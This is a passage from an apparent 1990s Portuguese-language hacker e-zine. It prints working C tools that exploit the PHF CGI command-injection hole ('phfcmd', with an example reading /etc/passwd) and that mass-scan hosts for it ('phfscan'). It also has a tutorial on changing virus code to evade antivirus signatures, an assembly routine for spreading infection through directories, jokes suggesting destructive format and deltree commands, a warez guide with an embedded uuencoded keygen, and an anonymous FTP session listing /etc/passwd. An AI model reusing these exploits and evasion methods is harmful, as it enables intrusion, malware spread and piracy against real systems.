                    so que ele nao bloqueia o "\n" (%0A)
           

           strcat(commandstr, serverstr);
           strcat(commandstr, " ");
           }
        escape_shell_cmd(typestr);
        strcat(commandstr, typestr);
        if (atleastonereturn) {
           escape_shell_cmd(returnstr);
           strcat(commandstr, returnstr);
        }

        printf("%s%c", commandstr, LF);
        printf("
%c", LF);

        phfp = popen(commandstr,"r");
        
        bingo... como voces podem ver... ele simplesmente sai concatenando 
	strings e executa toda a meleca....

        send_fd(phfp, stdout);

        printf("
%c", LF);
        }


2) Explorando o BUG!

	Bom pra explorar o bug, eh muito facil...
	Olhando diretamente os fontes do programa, ele requer somente que um
	dos parametros seja passado para que ele resulte uma saida favoravel.

	csh:~/hack/phf-project$ telnet imbecil.com.br 80
	Trying 127.0.0.1...
	Connected to imbecil.com.br.
	Escape character is '^]'.
	GET /cgi-bin/phf?Qalias=csh%0Aid
	
Query Results
	

	/usr/local/bin/ph -m  alias=csh
	id
	
	uid=65535(nobody) gid=65535(nogroup)
	
	Connection closed by foreign host.
	csh:~/hack/phf-project$ 
	
	BINGO!!! isso significa que o servidor esta sendo rodado pelo user
	nobody, grupo nobody.... pretty simple, huh?

3) Ferramentas de exploitacao:

	BOM, escolhi alguns utilitarios que sao muito utils no dia a dia 
	do phf. Todos escritos por um amigo meu, o vandalz do #hack da efnet!
	:))

   a) phfcmd : Para vc nao precisar usar telnet nem ter que decorar akele GET.
		Usage:   phfcmd  
                Exemplo: phfcmd localhost cat /etc/passwd

   b) phfscan: Scanear uma lista de hosts a procura de PHFs...
		Usage:   phfscan 
		Exemplo: phfscan arquivo.com.todos.os.COM.BR


	  -------8<------8<-- phfcmd.c --8<------8<-----
/* 
	PHf COMMAND ][ ***** Executes remote comands in phf apache hole!!
	Coded by: Vandalz
	Greetz:   Life Suckz!

	This is pretty simple..
	Compile, port it if your system ... if you know how to do that,
	you're not intended to use this...

*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#ifdef LINUX
#include 
#endif

int TIMEOUT = 1;
void sig_handler( int signo)
{
 TIMEOUT = 0;
}

main (int argc, char *argv[])
{
   char host[100], buffer[8097];
   int outsocket, serv_len, len,X,c,outfd;
   struct hostent *nametocheck;
   struct sockaddr_in serv_addr;
   struct in_addr outgoing;

   char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0A";

   outsocket = socket (AF_INET, SOCK_STREAM, 0);
   memset (&serv_addr, 0, sizeof (serv_addr));
   serv_addr.sin_family = AF_INET;
     
   nametocheck = gethostbyname ( argv[ 1]);
   strcpy( buffer, PHFMessage);
   for ( c=2; ch_addr_list[0],
   	       sizeof (outgoing.s_addr));
   strcpy ( host, inet_ntoa ( outgoing));
   serv_addr.sin_addr.s_addr = inet_addr ( host);
   serv_addr.sin_port = htons (80);
   
   /* Timeout on server */
   signal( SIGALRM, sig_handler);
   TIMEOUT = 1;

   alarm(10);    

   X=connect ( outsocket, (struct sockaddr *) &serv_addr, sizeof (serv_addr));
   alarm(0);

   if ( TIMEOUT && !X)
   {
       write( outsocket, buffer, strlen( buffer)*sizeof( char));
       while((X=read(outsocket,buffer,8096))!=0)
           write( 1, buffer, X);
      close ( outsocket);   
      }
    
  return 0;
}
	  -------8<------8<-- phfcmd.c --8<------8<-----

	  -------8<------8<-- phfscan.c --8<------8<-----
/* 
	PHf SCAN ][ ***** Scans to find phf apache hole!!
	Coded by: Vandalz
	Greetz:   Life Suckz!

	This is pretty simple..
	Compile, port it if your system ... if you know how to do that,
	you're not intended to use this...

*/
	          
    
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#ifdef LINUX
#include 
#endif

#define HTTPD_PORT	80

int timeout = 0;

int sig_handler( signo)
int signo;
{
	timeout = 1;
}


/* some routines I made long time ago... but still useful!! ;) */
/* socket reading writing stuffs... */
/* pretty simple!!! */
/* (p)vandalz, 1996 */

#define	SOC_BUFF_SIZE		2048

char soc_buff[ SOC_BUFF_SIZE];
char *soc_ptr;
int  soc_len=0;

int soc_readln( soc, str)
int soc;
char *str;
{
	char b;
	/* reads a new buffer */
	if ((soc_len==0)||(soc_ptr>=soc_buff+soc_len)) 
		{
		soc_len = read( soc, soc_buff, SOC_BUFF_SIZE);
		soc_ptr = soc_buff;
		if (soc_len == 0)
			{
			*str = 0;
			return -2;
			}
#ifdef DEBUG
		fprintf( stderr, "read %d from socket.\n", soc_len);
		fflush( stderr);
#endif
		}
	while (1)
		{
		b = *(soc_ptr++);
		if (b == '\n') break;
		*(str++) = b;
		/* reads another buffer from socket */
		if (soc_ptr>=soc_buff+soc_len)
			{
			soc_len = read( soc, soc_buff, SOC_BUFF_SIZE);
			soc_ptr = soc_buff;
			if (soc_len == 0) {
				*str=0;
				return -2;
				}
#ifdef DEBUG
			fprintf( stderr, "read %d from socket.\n", soc_len);
			fflush( stderr);
#endif
			}
                }
	*str = 0;
}

soc_writeln( soc, str)
int soc;
char *str;
{
	write( soc, str, strlen( str));
}

/* (p)vandalz, 1996 -- socket_writeln, socket_readln, bufferized */

int checkphf( soc)
int soc;
{
	char phfMSG[]="GET /cgi-bin/phf?Qalias=die%0Aid\n";
	char tmp [256];
	int ok=0;

	soc_writeln( soc, phfMSG);

	tmp[ 0]=1;
	while ((tmp[0]!=0)&&(!strstr( tmp, "Query")))
	{
		soc_readln( soc, tmp);

#ifdef DEBUG
		fprintf( stderr, "<==[%s]\n", tmp);
#endif	
	}
	if (!strstr(tmp, "Query"))
	    {
	    printf("no phf found!\n");
	    return -1;
	    }

	while( tmp[0]!=0)
	    {
	    soc_readln( soc, tmp);

#ifdef DEBUG
	fprintf(stderr,"<==[%s]\n", tmp);
#endif	

	    if (strstr( tmp,"uid"))
	    	{
	    	printf("PHF (%s)\n", tmp);
	    	ok = 1;
	    	}
	    }
	
	if (!ok) printf("PHF found, but cant exploit it!\n");
	return 0;
}	


main( argc, argv)
int argc;
char *argv[];
{
	struct sockaddr_in server;
	struct hostent *hp, *gethostbyname();
	char   hosts[ 1024];

        int phfsoc;
	FILE *sl;

	if (argc<2)
		{
		printf("usage: %s \n", argv[0]);
		exit( -1);
		}
	sl = fopen( argv[1], "rt");
	if (!sl)
		{
		printf("could open site list file!!\n");
		exit( -1);
		}

	while( !feof( sl))
		{
		hosts[ 0]=0;
		fgets( hosts, 1024, sl);
		if (hosts[ 0])
			{
			phfsoc = socket( AF_INET, SOCK_STREAM, 0);
			soc_len = 0;
			server.sin_family = AF_INET;
			hosts[ strlen( hosts)-1] = 0;
			hp = gethostbyname( hosts);
			printf("%s ", hosts);
			if (hp)
			    {
			    bcopy( (char *)hp->h_addr, (char *)&server.sin_addr, hp->h_length);
			    server.sin_port = htons( HTTPD_PORT);
			    timeout = 0;

			    signal( SIGALRM, sig_handler);
			    alarm( 10); /* ten seconds time out!! */
			    if (connect( phfsoc, (struct sockaddr *)&server, sizeof( server))==0)
			    	{
			    	/* we are connected at the server!! */
			    	/* Do what we should do!! */
			    	alarm( 0);
			    	checkphf( phfsoc);
			    	fflush( stdout);
			    	}
			    else 
			    	{
			    	alarm( 0);
			    	if (timeout) printf( "timed out!\n");
			    	    else printf("conection refused\n");
			    	}
			    } else printf("no such host!\n"); 
			}
		close( phfsoc);
		}
}
	  -------8<------8<-- phfscan.c --8<------8<-----

Mais uma producao de csh, hackeando para um mundo melhor!


}-===============================[chain]===============================-{




14-) VIRII - Mutacao Virotica Simples & Pesquisa de Diretorios
     ~~~~~ ~ ~~~~~~~ ~~~~~~~~ ~~~~~~~ ~ ~~~~~~~~ ~~ ~~~~~~~~~~


Oi, sou o Worm_root, ou Spider, p/ os q me conhecem, eu sou o editor  da
Cyber-Demons, e membro do VBB(Virus Bit & Bytes) e agora, eu tambem faco 
parte desse grupo(eu acho ;)...eu fiquei encarregado de escrever a parte 
sobre virus... espero q gostem e divirtam-se... Se o Acid deixar, de vez
em quando eu escrevo outras coisas tambem... :)
  
P.s.: Facam o q quiserem com as informacoes aqui contidas, de preferencia,
      se  for um virus, nao o distribua sem antes entender o codigo, isso
      eh lamer... se nao entendeu... aprenda, ou -> echo y|format c: 
P.s.2:Se  vc usa o Virus Generator, ou qualquer uma dessas merdas de cri-
      acao de virus, aki vai um conselho: deltree /y c:\*.* >null


   Mutacao virotica simples:
   ~~~~~~~ ~~~~~~~~ ~~~~~~~~
He he he... curtirao o nome?? Bem, ao contrario do titulo a coisa eh sim-
ples, trata-se de como pegar um virus ja existente e criar um outro, uma
VARIANTE. Porq? Qual a utilidade? Sei la!! Bem.. quero dizer...  existem
algumas  utilidades... ao inves de criar um codigo totalmente  novo,  vc
simplesmente  modifica  um  ja  existente e produz um melhor. Mesmo porq,
criar um virus inteiro cansa, enche o saco, e muitas vezes vc vai testa-
lo, e vai ver q seu anti-virus o detecta e o acusa como sendo um virus ja
existente.
Vc vai pensar "###&*riu!! Eu criei um virus inteiro e esse merda de anti-
virus me diz q ele ja existe?!? Porq?" simples, porq os virus ja estao es-
tagnados... o ambiente MS-DOS eh muito aberto, milhares de pessoas fizeram
virus p/ eles, entao, fica dificil vc conseguir criar algo realmente novo...
   
   Vamos comecar:

Talvez muitos de vcs possuem em seus computadores, algum tipo de codigo de
virus famoso, como por exemplo o Trojector. Talvez tambem, algum dia vc decida 
dar vida ao dito cujo, mas percebe que qualquer anti-virus merrequinha pode 
detecta-lo, o que vc faz? Chorar(vc eh viado)? Nao, vc le nossa revista, Ha ha
ha...
  
Ta legal, vamos voltar ao papo serio, neste artigo, vc aprendera como TEORI-
CAMENTE vc pode fazer um virus ja conhecido se tornar novamente nao detecta-
vel. Teoricamente, porque as vezes esse tipo de coisas torna-se tao macante 
que e mais facil criar um novo virus. Se vc ja "pegou" a coisa, vc deve ter 
compreeendido, que dessa forma vc ira gerar o que nos chamamos de variante, 
isto eh,se vc alterou o Trojector(que e muito comum) de forma que ele fique 
novamente indetectavel, vc com certeza criou uma das trilhares de variantes 
desse virus!

  Vamos a parte tecnica --->

  Para fazer isso vc precisa de algumas ferramentas especiais:

  * Norton Utilites (ou qualquer outro bom editor hexadecimal).
  * Debug (nao e necessario, mas facilita).
  * Turbo Debugger da Borland.

1-) Crie um arquivo bite com o Debug. Arquivos bite, sao arquivos usados por 
pesquizadores de AV(anti-virus), para fazer os virus contaminarem estes ar-
quivos, que depois serao usados para estudar o virus. Por exemplo, suponha 
que vc fez um arquivo bite que possui uma unica instrucao:
    
                               INT 20H

E claro que se vc contaminar esse arquivo com um virus, tudo, MENOS O 'INT
20H' formam o virus original! Note que alguns virus nao contaminam arquivos
bite(isso ja foi discutido anteriormente).

Para fazer um arquivo bite, use o Debug ou seu compilador assembler, os co-
mandos abaixo podem ser digitados diretamente no debug, mas eu aconselho que
vc digite tudo abaixo do tracejado e depois use o debug para "compilar" esse
arquivo, dessa forma vc elimina qualquer erro de digitacao. Ok, crie um arqui-
vo chamado BITE1.SCR e nele digite as seguintes linhas:

n BITE1.com           ; Criar um arquivo chamado Bite1.com.
a                     ; Entrar no modo assembler.
int 20                ; Instrucao do programa, apenas termina o programa.

rcx                   ; Especificar o tamanho do arquivo.
2                     ; Tamanho do arquivo.
w                     ; Grava.
q                     ; Sai.
                      ; ANTES DE CRIAR O ARQUIVO RETIRE TODOS OS COMENTARIOS
                      ;  ACIMA!!

Depois use o Debug para transformar esse arquivo em uma executavel, digite:

DEBUG < BITE1.SCR

Isso criar um arquivo de 2 bytes chamado BITE1.COM. Os comentarios e os ';'
devem ser retirados antes de se criar o arquivo!!!
Se vc quiser digitar o nome do arquivo, tudo o que ocorrera eh o termino do
arquivo, visto que a unica instrucao de nosso arquivo e uma "int 20h"->para
terminar a execucao de um programa.

2-) Contamine o arquivo com o virus. Se for um virus de BOOT, de um jeito,
mas  vc  tem que contaminar esse arquivo de 2 bytes, do contrario, pode es-
quecer...
CUIDADO PARA NAO CONTAMINAR O SEU HD! Faca a coisa em um disquete!
Nao se esqueca de manter uma copia do Bite1 original(sem o virus!!).
Se for um virus de arquivos Exe, de um jeito de converter seu arquivo BITE1.
COM para BITE1.EXE, NAO BASTA RENOMEA-LO, vc tem de criar um Exe.

3-) Carregue DISKEDIT, que vem com Norton 6.0 (que eu nao tenho.. :-( ) ou o
editor hexadecimal do PCTOOLS ou ainda o Hiew(eu gosto muito pois ele e muito
facil de usar).

Em sua tela vc tera entao o codigo hexadecimal do arquivo infectado.

Agora, ache atraves do editor hex., o meio do arquivo, se ele tem 14k, se
dirija  para  o ultimo byte, antes de formar 7k. Preencha os 7k em diante
com besteira,  como  por  exemplo 255d (FFh) o caractere de espaco. Agora,
execute o SCAN,  se o SCAN detectar o virus, e porque a sequencia da assi-
natura esta entre 1b  e  7k, do contrario, a sequencia esta entre 7 e 14k,
simples hein? Dessa forma,  basta  vc ir "picando" o arquivo que logo logo
vc achara a assinatura. E por isso que antes de alterar os arquivos, e bom
vc ter copias reservas do BITE1.COM limpo(s/ virus) e do contaminado.

Salve e volte para o Dos.

Use o SCAN para procurar pelo virus, nos usamos o SCAN pois ele apenas pro-
cura por  assinaturas,  e e' isso que nos estamos tentando modificar. Se o
SCAN encontrar o virus, e porque vc ainda nao deletou a string pela qual o
virus e identificado. Entendeu ? 
PELO AMOR DE DEUS, TENHA EM MENTE QUE A VERSAO DO SCAN QUE VC IRA USAR, DEVE
ENCONTRAR O  CODIGO  DO  VIRUS  QUE  VC ESTA TENTANDO ALTERAR, ISTO E, O QUE 
ADIANTA VC ALTERAR O CODIGO DE VIRUS SE O SEU ANTI-VIRUS NAO E CAPAZ DE LOCA-
LIZA-LO ?!? DESSE JEITO VC NUNCA IRA SABER SE FUNCIONOU POIS O SCAN NUNCA VAI
ENCONTRAR SEU VIRUS NEM O ORIGINAL (O QUE VC ESTA MODIFICANDO).

Por exemplo, quando procura pelo virus Cascata, o SCAN procura por algo pare-
cido como:

               EB1DAD1273D1FF121F (Eu achei isso numa revista)

Entao meu caro, vc esta tentando apenas alterar a string que o SCAN usa para
detectar seu virus.

Tudo o que vc tem a fazer e ir  deletando partes do virus ate que o SCAN
nao detecte  mais o seu virus  alterado. E claro que deletando partes do
virus, ele nao ira funcionar(pois o arquivo estara com pau), mas nos nao
estamos querendo ele funcionando,  nos estamos apenas querendo saber que
parte do virus e detectada pelo SCAN(por enquanto, he, he, he...)
 
Em 75%  dos  virus, a assinatura(os bytes identificaveis pelo SCAN) esta
nos primeiros 150 bytes do arquivo.

Ok, supunhetemos que vc tenha achado a assinatura, e ela seja algo como:

                      B8 92 19 B7 21 CD

As assinaturas sao mais compridas, isso e apenas um exemplo...

Volte ao debug, e digite:

DEBUG

E 0100 b8 92 19 b7 21 cd    ; Isso e a string achada.

U                           ; Isso ira converter a string achada para o seu
                            ; codigo assembler original, nesse exemplo, essa
                            ; string eh:



                       mov  ax,1992h
                       mov  bx,21h
                       int  21h


VC TEM QUE PELO MENOS TER UMA NOCAO DE ASSEMBLER PARA SABER COMO FAZER ESSE
TIPO DE COISA.

Use o Turbo Debugger ou o Debug para fazer a seguinte coisa:

Isso e o que vc tem na tela:

                       mov  ax,1992h
                       mov  bh,21h
                       int  21h

Agora, tente mudar a ordem dos comandos para por exemplo:

                        mov bh,21h
                        mov ax,1992h
                        int 21h

A 'INT 21H' TEM SEMPRE DE FICAR NA ULTIMA LINHA! ISSO EH OBVIO.

Agora,  provavelmente  o  SCAN  nao mais ira achar o virus!! FACIL!?!?!!!
You see?  You didn't change the way the code functions (THATS IF YOU KNOW
WHAT YOUR DOING!) but you changed the codes id-string for SCAN.

Como o Turbo Debugger nao permite salvar as mudancas, use o Debug para is-
so, entao digite:

DEBUG BITE1.com       ; Arquivo com o virus.

a 0122                ; Endereco de onde esta a string achada.

Entao entre com as instrucoes:

                         mov bh,21
                         mov ax,1992h
                         int 21h

w                     ; Grava.

q                     ; Sai.

Scaneie o arquivo, se o SCAN nao achou, entao vc conseguiu, caso ele en-
contre,  tente alterar essas instrucoes por outros comandos mas de forma
a produzir o mesmo resultado.
OBS.: Isso so funciona para virus nao encriptados, ou em seus mecanismos
      de encriptacao(que na maioria das vezes sao scaneados pelos AVs).

Caso vc tenha o codigo do fonte do virus, a coisa fica bem mais facil, vc 
o modifica, compila, e depois roda o SCAN, e modifica algumas partes do co-
digo ate ele voltar a ser indetectavel.
   


Pesquisa de diretorios:
~~~~~~~~ ~~ ~~~~~~~~~~~

Infelizmente,  eu  to mto ocupado, por isso nao tive tempo de achar nenhum
codigo p/ a revista... por isso, p/ os q ja manjam da criacao de virus, eu
vou mostrar uma  pequena  rotina, desenvolvida por mim, com o proposito de
realizar busca por diretorios.  A coisa funciona assim, ao inves do seu vi-
rus simplesmente descer  um  diretorio('..'), ou ir p/ o raiz, ele ira pro-
curar por mais diretorios  onde  possa entrar e contaminar... Com esse sis-
tema, mesmo q o virus fique apenas  no  raiz C:\ , ele acabar infectando o
sistema todo, o q nao ocorre com muitos virus existentes por ai...
O codigo ta pode ser melhorado, mas demorou-me 1 semana de pesquisas.. :(
 
 Inicio:
      call GET_DTA         ; Seta novo DTA
      push dx              ; Salva
      mov ah,1AH           ; Seta DTA
      int 21H
        
      mov ah, 04eh         ; Funcao procurar pela 1. ocorrencia de arquivo
      mov cx, 00010001b    ; "Atributo" dos diretorios :)
      lea dx, maske_dir    ; Mascara p/ diretorio
      int 21h              ;
      jc Erro              ; Erro, aborte

      pop  bx                            ; Get pointer to search table (DTA)
      test BYTE PTR [bx+15H], 00010001b  ; Eh um diretorio ?
      jz Find_next                       ; Nao, ache outro
      cmp BYTE PTR [bx+1EH],'.'          ; Eh um padrao('.' e '..')??
      jne Real                           ; Nao, eh um diretorio real!

 GET_DTA:                                ;
        mov     dx,OFFSET DTA2           ;
        mov     al,2BH                   ;
        add     dx,ax                    ; Return with dx= proper dta offset
        ret                              ;

DTA2      db 56H dup (?)                 ;dta for directory finds (2 deep)
maske_dir db "*",00                      ; search dir's


A rotina por  si so eh muito simples, notem q vcs terao de "encaixa-la" 
no seu virus.. isso eh apenas a funcao de demonstracao... Essa funcao a-
penas procura por diretorios, mas tenho certeza q c vc a entendeu,  nao 
tera  dificuldade  em fazer o virus ascessar o diretorio achado.. so se
lembre  de  antes salvar o diretorio original p/ q depois o virus possa
voltar sem ser detectado.

Na proxima edicao, um guia simples sobre como escrever seus primeiros vi-
rus .COM e .EXE
           
                                                          Spider/Worm_root

P.s.: A materia sobre modificacao de virus foi tirada da minha revista, a
Cyber-Demons numero 1. A numero 2, foi resultado de pesquisas minhas...





}-===============================[chain]===============================-{



15-) WAReZ ZONe
     ~~~~~ ~~~~

	      ----------------------------------------------
	      - MnEuMoNiC's Overview About Warez & Related -                           
	      ----------------------------------------------

	      Knowledge is Never a Crime.  [ 2600 Magazine ]


Bem,  comeco escrevendo para  o  Zine AXUR05 declarando que nao  sou  uma 
autoridade  no  assunto (como  a  maioria de nos nao pode negar) e  tenho 
MUITO a aprender. Apenas tenha em mente que os conhecimentos  que  coloco 
`a  disposicao neste artigo sao somente com propositos educacionais e que 
todos os  prejuizos  que  qualquer  pessoa venha a sofrer, baseando-se ou 
nao neste artigo, sao de inteira  e  completa responsabilidade dele mesmo.

Aqui  pretendo  apresentar informacoes iniciais de como conseguir informa-
coes  sobre  os  falados `Warez' ou como conhecemos no Brasil, -pirataria-.
Mas voce pode estar se perguntando PORQUE publicar um artigo
como este se a pirataria e'  ilegal?  E' este o meu objetivo aqui: mostrar
o lado bom e o mau do Warezing.

Voce  realmente  compraria  um  software especifico com alto preco sem  co-
nhece-lo?  Ou voce buscaria alguem que ja' o possui, pediria informacoes e,
talvez se gostasse, o compraria? Esta segunda opcao e' realmente a recomen-
dada... Mas porque  que quando buscamos um programa, somos OBRIGADOS a com-
pra-lo,  testa-lo,  e  se nao gostarmos, tentar vender (acho dificil alguem
querer  comprar pelo mesmo preco...). Nao seria justo da parte das empresas
a liberacao de seus softwares, para fins de testes, antes da compra propri-
amente dita?

Ja' que o mercado nao assimilou tal ideia, e' para isto que existem os Wa-
rez Groups (grupos expecializados em distribuicao dos Warez), Warez Boards,
Couriers e os News Groups relacionados a Warez.

Sao  os  Warez  Groups (como PWA, RiSC, DoD, etc...) que 'captam' os warez
e distribuem  atraves de sitez ftp com ajuda dos Warez Boards (existem MI-
LHARES deles  em todo o cyberspace!) e atraves dos Couriers que distribuem
no iRC ou em  seus BBSs. Mas  sao nos News Groups onde encontramos a maior
quantidade de  informacao reunida,  e e' por isso que coloco abaixo a lis-
ta dos  grupos de discussao mais famosos na area...

		    alt.binaries.warez.ibm-pc
		    alt.binaries.warez.ibm-pc.old
		    alt.binaries.warez.ibm-pc.d    (d = discussion)
		    alt.warez.ibm-pc.apps
		    alt.warez.ibm-pc.games
		    alt.warez.ibm-pc.old
		    alt.cracks
		    alt.crackers

Note que nem todos os repositorios de news possuem estes grupos, ou seja,
procure os sites de acesso free e que possuam estes grupos. Se o seu pro-
vedor  em  servico de news com estes grupos, sorte sua! Senao,  use  este
aqui que e' free, mas MUITO lento (ta' achando que vou te dar um servidor
de news free e rapido, e'?) -  [ wisipc.weizmann.ac.il ]

Para a leitura e postagem dos mails em News Groups, recomendo o Forte Free
Agent V1.0 ( http://www.forteinc.com/forte ).

Agora e' so' ralar, ler muito e dar uma pesquisada tambem nos canais #wa-
rez,  #warezwarez, #warez666 e outros relacionados na EFNet, DALNet e ou-
tras tantas redes de iRC pelo mundo. Nao se esqueca que NADA e' de graca
e ninguem vai te dar nada em troca... Nothing is free, ok?

De presente, uuencoded ai' em baixo, o Key Generator do Free Agent, ok?

----------------------------------------------------------------------------
section 1 of uuencode 5.21 of file fagentkg.zip

begin 644 fagentkg.zip
M4$L#!!0``@`(`!RN.R+";G&%LP$``-D#```+````1DE,15])1"Y$25JMDK%N
MVS`0AGH<_:P"3[9JIAA*[::O60('NM,/$0FVI$&@;>2Z/[9BA'?($),4G
M*#*+@Y`CY=0:4K1##B)QO/OOXT]`:?+K?C1JO0>%A_?M:'1W1]^_(JCB7#\9
MY^Z_I\F>3BTL##RCM*$$QA@PF!;&#GN'B)(N9,;X8(*1/%+W/T.>)TN"T.:]TCC(E[K#SU:+'F*+'1M(UN3$>W_L$Y1\B.[@@9
M/0LA/>S''LB"ZPZ24/"]+`K=X+'/QEL^XV/^A><\XY?\G$XG_`.?\$_\Y&\C
MA/OY@C_*#W+GD9<7F_SW0Y'A?R*JJX]%]B:[G8OQ5JP*,5_)YU'35347*YQ7ZZ(4JJA*7)8+AERN"1QQ+_S8-)E4M9*8
MU%)B?"-+A>UK]@JGP>Q4EK(6JJI/TV0J%=12XO-2U')'"T*=I5M:,7&5HV=8&64AB2KJ?
MBFSF4V5/!F'F0$5-N;]S=;_U^^-W>;T.G',^W^_W?;_?<[ZL7%N#8```"FAE
M$$0Q``@`H\#PLW(M0!;&Q402Q&I2@'3"?5>@!KD4,.,)0UY[&VAD#5P%T#BQ
M`%=!T;!SF4#Z1Q&U[I7COK%59N3B;+B(LIE@\,!KP!*\8R_=@]+J;!
M]0.VB_@C89LK5P*G152CA8MXT37K$]?]+5WE7!;BK+FW$R.%%<*74`CG4&CB
M(I@+*>1H_Y$:S`8S20'E>#`>2H$D6E]D@K"<^O3-L!+\SS-D)6M(H<$M%0*J
M9,TDHL3KE4SFV2Z3^';(\%JX``!U(BBK%KIC^00\_3J/F6UUD!SSD]P
MJN<9VTP8,I_X.'4"H]->7\R[:;J*X'KA712U!]F3J0?*X6FY:%&1H(\`0YL6
M9=Y`"$(@9.H4%1#PO3A:OAQFA4MX40J$99C,*&^6Z^8C((U>@86H`;!$DZ\$
M\!H-$'`(O^H!@SD%N6C+,V\D2`$%6&A9PTKH;M@QA:/UZTT=O\;KG6?2(8T[
MK)/5RAOZY;`*.*S"6X(;HHXCCX0@9($:24,Y6AVF`MY\+YC^_]H[E"19G;SI
MEE4F\;0JT5J)9Y=RN<2S1\G09CB1]4`&:#KW^Y6X/K=7B=<:
M7TD\>Y6W",+XU%[W8:DN"]?&X&RK,HC=HTSAXHE`>(\B@7/<@E<:GS&\>I5^
M>GNC\;6$W:L4FEGV1@FSGS27ZHU/<1WI8IV.'Q6I`F"7DZ-,RH,5#"7N6&5Q
MAYZG4E=^QP-K$^(LEZ-61YIF$&OC$V#&G0GF@#*-&F^N=A@KI9Y6F;&4P*Q*
MP5VZ96I6+`[I.D+;46\C.MBN235@V_YF2"EJB#`]XI,-.E]0$]60;84_9.%]8CPC8'[L_H
MV>\^M/+^NY6,%M*2](*7VQL2=?\P,"%!0,]0^"*ZY=>HU:8$!_E"&0_CS:@#
M7C",O.U4!5M$7B1_$7F1`D0R>,UR_46F'8X@C"U*1G/AMKYDM@@-88O\>O$W
M`P%:6SZ<(QG:A^98W>">//*=Y=^%`Q&9XG5H5)^"HGP%=YP))L(*`0YCZ5Q%&-
M`*:G@T%8J!CB0+F^Y*@$#0D50QS[,,Y129`CA5L<)C%M-+64$UP8^Z@$`H:*3?3_`WA!2@)>
ME)+Y^4E*`I7H96HW,,#1VJ[B7+C1@;*A2*N<[P:2X>7!&PS/"+%>%M2=W)X+
MO[`+TM0QG#I-I4SM"O"F`F,K6AMD3!G!J$MU@OFR+%ZVS\RH2^LBN!>DJLM2
M2')1RC2=)5%PN.3'U$!EFKNH#.\5E:&$H+I7<@PX!&TTO%^HHPA+J5%K#":^Z0(1-Q((UB<(
M*RBF$X3N[_\*3.%-)?,RB4HV8!_J4+D(HL2;H@8(;*=XB`\U`F=[4Z7C>HP!
MA.$97B$6>U,,+R6'`3"\B4A_J?&FW((^0B91LPH8VMTL>*ZND@G$Q0"VNW1;
MD#7Y)=E>7%Q!=8X/*+$_:FY>>[,@OWR@ON?&%6-AX9[HR-K3,0>^G)L08\A]
M<#^?6=^1V+SP;,N_$^I:;&TR#S7*+#/-^VI74UIB^[S?QD]KO%>T?G<'HZ,I_^&8
MO.^U;C57:RY3O'^(/?^1RW>\OEFEF0OW#U1G;AY0548$1TYJ3J\Z&ZG.T4_V
M"4Z/\WUA>1M@7B)IK#FV_/0?4R]VICT*,(R(/IT:N:MC7/6I\=PS=,D'I^<\
M#I^W7U+3V7WUDH"8L]Z]=8YS8V7?LARK1V'8R<:#\^?FO,IMN3*Y8_.DSQ>=
MIFO.V_]Z1MO].-S\[9.W=RZX2AOLLF]T'U.,>=B*C5DT^A)#8]>//V1O'OU^
MMUG)_)G3BIO<7OX9,CTS:T/@J5$>GUXYY2]&N"LJ
M\DY.'7UDR_;I8''%U+"]$>%/NF_&C/21JP+9!;,0+C_<4GG<96_A&>-)R>G"
MCKMNX_;UOS
MC5D=]3GL+\:URO?GL6?.J-_$BO2=55_E?&U_(81K1=*&8*%.GW&XH,7OL*R'WLM
M?K0)CP[/\NA^/[XL*?I,@<^\55/9OZ,Y5:;*[UU^OO--+)=BBWO_-_;NGE0T=3#-\N7+(\REQ7<*;N:IK[BU9OXUZVF)(?M),<&^
M=J]ZZQ5T[&?,096C_%4D*BW]UV]W%]V?YI&K*YHS;90+=N+W+1LFLT:&GIB;
M^.WF'7=+KE^_!#Q+;1;B;9;,UO?TJ+5@?GRW*#@_JWG"AYN2`L(P:917CPG5:XGSS[DU1\\LW7CW&UX]X.F?&V2;T+YE"GZ,[\ZW_![[M+<
MN8>S;%7N3[%?;3X_-F?LE#6ZC-B8_HA`K^BX%9K\/7[:Z\:UA$?@SI.W(Z,R
M'T^<-'HR>UN-?"SM[)A'T]]KW<\N*%R16UBZ=168.:+U=/*9XK,KB0QDO,\(
M@(-P@(-SV]O;_B#YV]W>VR#?W"[?
M^B#;_MO;W2#ZV]L@WMO;V_X@_B`@("`@(/G;W=[;(-O;("#>VR#=_B#;(-[;
M(-\N("`@(+,-"K,@("#>VR#=WMW>V_H@WMO>WMT@WM_?_MP@V]W>V]T@WML@
MW=[=WMOZ("#V][>W2#>V_H@V]L@W-P@("#V]TN
MWMT@V]O>V]T@WMO=(-[;V]O=("`@WMO<_M[;("`@LPT*LR`@(-_?("#;_M_?
MWR#?WR#;_B`@W]_?("`@W]_?("#?WR`@V_[?W]\@(-_;W-_^(-_?(-O^(-_?
MWR#ZW]_?("`@("#?W]_?("`@(+,-"K,@("`@("`@("`@("`@("`@("`@("`@
M("!(+U`O02]6+TTO0R])+T0O4"\A+TPO1B]/+R$@("`@("`@("`@("`@("`@
M("`@("`@(""S#0K(S2TM^?KZ("`@(/H@^OKY+2W$Q"W$Q,3$Q,3$Q,3$Q,3$
MQ,3$Q,3$Q,3$Q,3$Q,3$Q,3$Q,3$+<3$+2WY^OH@^B`@("#Z^ODM+<3-O`T*
ML_H@36Y%=4WM[VE#("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@($UN175-;TYI0T!#>6)Eftp

ftp> open ginet.com.br
Connected to ginet.com.br.
220 pingo FTP server (UNIX(r) System V Release 4.0) ready.
User (ginet.com.br:(none)): anonymous
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -la
200 PORT command successful.
150 ASCII data connection for /bin/ls (200.???.???.??,2475) (0 bytes).
total 14
drwxr-xr-x   6 0        1            512 Nov 15 20:50 .
drwxr-xr-x   6 0        1            512 Nov 15 20:50 ..
lrwxrwxrwx   1 0        1              7 Nov 15 20:50 bin -> usr/bin
dr-xr-xr-x   2 0        1            512 Nov 15 20:50 dev
dr-xr-xr-x   2 0        1            512 Nov 15 20:50 etc
drwxrwxrwx   7 30000    1            512 Jan  8 19:19 pub
drwxr-xr-x   5 0        1            512 Nov 15 20:50 usr
226 ASCII Transfer complete.
431 bytes received in 0.60 seconds (0.72 Kbytes/sec)
ftp>
ftp> cd etc
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 ASCII data connection for /bin/ls (200.???.???.??,2476) (0 bytes).
group
netconfig
passwd
226 ASCII Transfer complete.
